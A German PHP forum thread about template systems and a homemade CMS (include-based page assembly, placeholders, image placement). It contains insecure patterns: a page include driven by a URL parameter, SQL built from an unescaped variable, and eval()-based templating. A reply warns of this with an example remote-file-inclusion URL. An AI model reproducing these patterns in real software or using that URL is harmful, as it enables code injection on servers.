Templates: Was würdet ihr tun?

Einklappen
Dieses Thema ist geschlossen.
X
X
 
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • #31
    Hey, Danke! Ich glaub das war schon mal ein deutlicher Einstieg ins Thema.

    Gleich ne Frage dazu.

    Bleiben wir als ruhig beim Thema Zeitung (hatte eben Termine genommen, aber das ist ja letztendlich alles das gleiche).

    Um die Artikel auszugeben (den vollen Artikel) hab ich also ein Template in HTML:

    <h3>{ UEBERSCHRIFT }</h3>
    { TEXT }

    nur um es ganz kurz zu machen. Wie gehe ich vor und ersetze das alles? kommt dass ne normale ..._replace-Funktion zum einsatz?

    Kommentar


    • #32
      @Tobiaz: mh... PMs sollten eigentlich für alle aktiviert sein... ich hab gerade mal geschaut...

      wenn ich dir was schicken will bekomme ich folgendes:
      TobiaZ möchte keine Privaten Nachrichten erhalten. Daher kannst Du auch keine Privaten Nachrichten an diesen Benutzer schicken.

      na ja, ich connecte dich dann mal heute abend per ICQ oder mail.

      gruss

      Kommentar


      • #33
        @Mortalan: Ist okay. Aber ich kann nichts machen. Da steht alles auf ja.

        Kommentar


        • #34
          Das {text} stellt ja nur einen Platzhalter dar und ist in deinem PHP-Script eine Variable.
          Diese Variable ersetzt du mit der eval() Funktion. So erscheint dann an der Stelle der Variable in deinem Template der Inhalt der Var.

          Kommentar


          • #35
            Also mit dem Platzhalter war schon klar.

            Ist das eine gute Idee das mit {} zu machen? Bei Pat wird das glaube ich mit <PatTemplate> gemacht.

            Wie mache ich das mit eval(). Ich kenne die Funktion schon länger. War aber immer irgendwie abgeneigt der Fkt. gegenüber.

            Kommentar


            • #36
              Also,

              ob nun eval() oder so wie ich include() nehme. Eine lösung, die ich mal für den umzug eines portals programmiert habe - eine wirklich simple lösung.

              du hast eine hauptseite index.php

              das ist eine leere HTMLseite die eine datei *.ini.php includiert

              der url aufruf ist z.b. index.php?page=homepage.ini.php

              $page wird includiert, also homepage.ini.php

              Diese *.ini.php dateien enthalten eine beschreibung der seite - also, was gehört zu meiner homepage

              z.b.

              $header="header.tmp.php"
              $headerlocation="/tmp"

              $footer="footer.tmp.php"
              $footerlocation="/tmp"

              dann gehört zu meiner homepage ein pagelayout

              z.B. header oben, leftnavigation, footer unten, content rechts

              das entspricht einer HTMLTabelle die wiederum $header & $footer includiert.

              Somit habe ich ein template für eine allgemeine seite, ein template für eine pageanordnung (footer, header, left navigation, etc.)

              Wo der footer liegt und der header steht ja in den *.ini.php dateien.

              Jetzt kommt der nächste schritt.

              in meinen content bereich rechts includiere ich z.b. ein layout 2 spaltig. D.h. meine teaser oder artikel werden zweispaltig angeordnet artikel1 |artikel 2

              das ist wieder eine leere html tabelle. In der *.ini.php muss also mein contentlayout stehen:

              $contentlayout="2spaltig.lay.php"
              $contentlayoutlocation="/lay"

              Also, einen schritt zurück.

              In meiner *ini.php (z.b. index.php?page=homepage.ini.php) stehen angaben, wo meine templates für footer, header, der gesamten seite und der contentunterteilung (z.b. zweispaltig) im fielsystem zu finden sind.

              Wenn ich mir also diese seite im browser aufrufe, sehe ich (wenn table border=1) eine seite mit footer, header und dass der content 2 spaltig ist.

              Jetzt muss ich nur noch dem content sagen, welchen inhalt er mir anzeigen soll.

              dazu trage ich in die *.ini.php z.B. ein

              //linke seite
              $artikeltemplate[li,1]="teaser2col.tmp.php" //li,1 bedeutet position linke spalte oben 1 für diesen artikel

              $artikeltemplate[li,2]="teaser2col.tmp.php?artikel=sportnews-2002-10-11"
              erklärung siehe weiter unten//
              $artikeltemplate[li,3]="teaser2col.tmp.php?artikel=..."

              //rechte seite
              $artikeltemplate[re,1]="teaser2col.tmp.php?artikel=..."
              $artikeltemplate[re,2]="teaser2col.tmp.php?artikel=..."
              $artikeltemplate[re,3]="teaser2col.tmp.php?artikel=..."

              Um uns das beispiel hier zu erleichtern sage ich ih´m hetz nur noch, welchen artikel er aus der datenbank holen soll.

              Eine idee ist es z.b. auch dem teaser2col.tmp.php eine variable ?artikel=sportnews-2002-10-11 mitzugeben.

              Also z.b. teaser2col.tmp.php?artikel=sportnews-2002-10-11


              dann holt sich der artikel teaser2col.tmp.php also bei diesem aufruf bevor er includiert wird noch den artikel vom 11.10.2002 aus der rubrik sport und ist somit ein fertiger html artikel mit text und bild, der auf der webseite erscheint.

              Also muss in deinem template teaser2col.tmp.php eine sqlabfrage stehen, die die entsprechenden artikeldaten aus der db holt anhand der übergebenen variable $artikel. Also sowas wie SELECT * from t_artikel WHERE artikelID=$artikel

              Und dann später in dem template
              <table>
              <tr><td>$headline</td></tr>
              <tr><td>$subheadline</td></tr>
              etc.

              Also aus der dbabfrage eine htmltabelle mit text und bild entsteht.

              Dies ist nur ein logischer ansatz, wie man sowas machen könnte. Goth oder den anderen fällt vielleicht ein praktikablerer oder performanterer ansatz ein.

              Aber zurück zu templates. Templates sind einfach nur statisch oder dynamische codefitzelchen, die zu einer gesamten seite zusamenngebaut werden...

              Kommentar


              • #37
                @faustus,

                deine lösung würde ich mir gerne einmal als script anschauen, falls es das gibt ?
                <Life>Traumprojekt-Die Design-Community</life>

                Kommentar


                • #38
                  der url aufruf ist z.b. index.php?page=homepage.ini.php
                  $page wird includiert, also homepage.ini.php
                  ...mit solchen sachen wäre ich vorsichtig,
                  sonst kommt dich mal jemand besuchen:
                  index.php?page=http://www.mein.server.de/mein-böses-script.ini.php
                  eval(str_pad(aa|db,4,slarti^~äü_i_)." \"áú¾ïùû䶳Ðäýï©üèíþç£þé\"^~\"no bugs, only features\";");

                  Kommentar


                  • #39
                    Nicht möglich, da der Pfad Festgeschrieben ist. Dass heisst, eine URL oder andere Datei würde er nicht nehmen.

                    Kommentar


                    • #40
                      Original geschrieben von array_hunter
                      @faustus,

                      deine lösung würde ich mir gerne einmal als script anschauen, falls es das gibt ?
                      Hi,

                      kann ich Dir demnächst zukommen lassen. Das ganze ist bereits fertig und im einsatz, aber ich habe sozusagen keine leere API dafür - also nur was mit content, den ich nicht rausgeben darf.

                      Muss ich noch anlegen und komme am wochenende nicht dazu.

                      Schreib mir bitte eine mail. Sobald ich es fertig habe ohne inhalte kannst du es haben.

                      Es ist aber wirklich nur eine simple geschichte und das mit den parametern für die db habe ich noch nicht implementiert ... keine zeit.

                      Kannst du aber nachträglich selber machen.

                      Kommentar


                      • #41
                        @faustus:
                        Wäre dann auch interessiert. (Mail siehe WWW)

                        BTW: Hab gestern eine Mail von Mortalan bekommen. Denke da wird sich demnächst was tun. Vielleicht kann man ja was mit faustus kombinieren.

                        Kommentar


                        • #42
                          Also auf meiner HP hab ich ne layout.html, die von meinem PHP-Script eingelesen und entsprechend bearbeitet wird ... Ich weiss nicht, ob das die beste Lösung ist (glaub ich eher nich) ... aber ich hab mich auch noch nicht weiter mit CSS oder TMP beschäftigt ... was sind die Vorteile und wie sieht so ne Datei aus ?
                          Es gibt keine dummen Fragen .... nur blöde Antworten !

                          Kommentar


                          • #43
                            Einen Link zur Doku kann ich schon mal anbieten. Ist aber nicht mehr ganz Up to date.

                            Erklärt aber das Prinzip. Ist ein Word .doc

                            Nicht erschrecken - VIRUSchecked.

                            http://www.genie.de/global_root/README_simpleCMS.doc

                            Ich kann allerdings nicht beurteilen, ob dieser Ansatz so gut ist.

                            Meine Erfahrungen mit einem CMS wie CoreMedia ist eigentlich, dass der Ansatz meines wirklich simplen CMS ganz gut ist. Allerdings sind alle Teile wie Header, Footer, Linke Navi und alle Seiteninhalte in der momentanen Version noch in statischem HTML. Man braucht - einmal aufgesetzt - zirka 5 bis 10 Minuten pro neuer WebSeite.

                            CoreMedia ist insofern gut, wenn man stur Texte schnell einbauen will, ist aber extrem schwer zu pflegen, wenn es um Layout erweiterungen und änderungen geht. Außerdem macht man dort auch nichts anderes als einzelne Seiten aus modulen zusammenzubauen - und alles in jsp - wüüürg - und mit Kosten die als privatperson nie zu bezahlen sind.

                            Ich arbeite wie gesagt gerade an einer Version meines simpleCMS, die csv files, mysql db content, statisches HTML und xml files verarbeiten kann und einen Editor zum Seitenbauen, Buttonbauen für Standartbuttons (Vorgegebene Buttonform, die sich nur durch wording und breite unterscheidet) und zum online editieren von text bzw. csv files und HTML files.

                            Der Vorteil ist, dass wenn man die Templates umschreibt man die Darstellung auch für WAP oder PDA bauen kann.

                            Außerdem versuche ich eine schnittstelle zu basteln, mit der man per handy per WAP, SMS und Email neue contents einpflegen kann. Das beruht auf dem Schema - jeder webserver kann WAP und jeder Mobile Operator kann SMS an eine Emailadresse schicken.

                            Momentan ruht das ganze nur aus Zeitmangel.

                            Vielleicht hat ja jemand lust mitzubauen?

                            Kommentar


                            • #44
                              @faustus
                              deine mail habe ich erhalten, aber die doc aus zeitmangel noch net richtig angeschaut

                              was mich noch interessieren würde, wie man die grafiken dynamisch einbinden kann( d.h. der Nutzer des CMS soll entscheiden, wo die grafik platziert werden soll)

                              Gibt es dafür schon andere Lösungen, als die bisher üblichen Block-verwaltung a la Nuke ?
                              <Life>Traumprojekt-Die Design-Community</life>

                              Kommentar


                              • #45
                                Nun, ich habe mich mit Nuke noch nicht beschäftigt. Du kannst in der DB oder bei einem Aufruf des templates ja den parameter imgalign=left,right,center & valign=top/middle/bottom mit übergeben bzw. speichern.

                                Eine alternative wäre es im text platzhalter für die images zu definieren z.B. [image] und den code vor der ausführung in einer variable zu speichern, die variable nach dem [image] zu durchsuchen und dann das entsprechnde bild zum artikel aus der db oder dem ordner wo er liegt zu holen und statt [image] einzusetzen.

                                Dann bist du völlig frei, dass heißt ein online redakteur kann dann die bilder sammt alignment frei platzieren im text.

                                Eine andere alternative ist es für jede bildplazierung ein eigenens template zur darstellung des artikels zu erstellen. Das erhöht zwar den pflegeaufwand, wenn mann aber kein caching vornimmt der seiten, ist es von der performance besser als die andere alternative.

                                Aber hier siehst du ein wenig die einschränkung eines cms - es geht schneller seiten zu bauen, aber man ist natürlich eingeschränkter.

                                Kommentar

                                Lädt...
                                X